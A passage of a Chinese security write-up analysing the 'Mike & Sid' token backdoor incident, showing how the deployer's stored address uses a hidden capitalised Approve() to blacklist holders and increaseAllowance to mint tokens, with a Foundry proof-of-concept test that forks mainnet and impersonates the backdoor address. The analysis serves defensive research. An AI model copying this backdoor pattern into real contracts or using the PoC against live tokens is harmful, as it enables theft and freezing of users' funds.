这个变量在Mike合约的4号slot上,可以发现这里储存的值就是攻击者地址。是合约部署者设置的后门地址。
more
function approve(address spender, uint256 amount)
function Approve(address spender, uint256 amount)
当调用者为后门地址时,会将spender加入到_dex表中。其他地方需要用到 _dex的在内部函数 _requireBalance中:
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "./Mike.sol";
contract ContractTest is Test {
address public victim = 0xeF7aA5930b2E92e7EF59BACfE18A0A3cb2105747;
address public backDoor = 0xF7E0d99511eab452bCBBdC34285E25F10E28F79D;
Mike public mike = Mike(0x8B99Bb8ddD8103CbEccC3b20C4B0038cA65A51AE);
function setUp() public {
uint256 forkId = vm.createFork("mainnet", 17608449);
vm.selectFork(forkId);
}
function testFail_Approve() public {
vm.prank(backDoor);
mike.Approve(victim, 1);
vm.prank(victim);
mike.transfer(address(0), 1);
}
function testFreeMint() public {
vm.prank(backDoor);
mike.increaseAllowance(backDoor, 1262000000000000000000000000000000);
assertEq(mike.balanceOf(backDoor), 1262000000000000000000000000000000);
}
}
在加入黑名单之后,只要进行转账操作就会发生revert。调用increaseAllowance后,后门地址获取到了足够的token。
原文始发于微信公众号(山石网科安全技术研究院):直白的后门——Mike&Sid事件分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论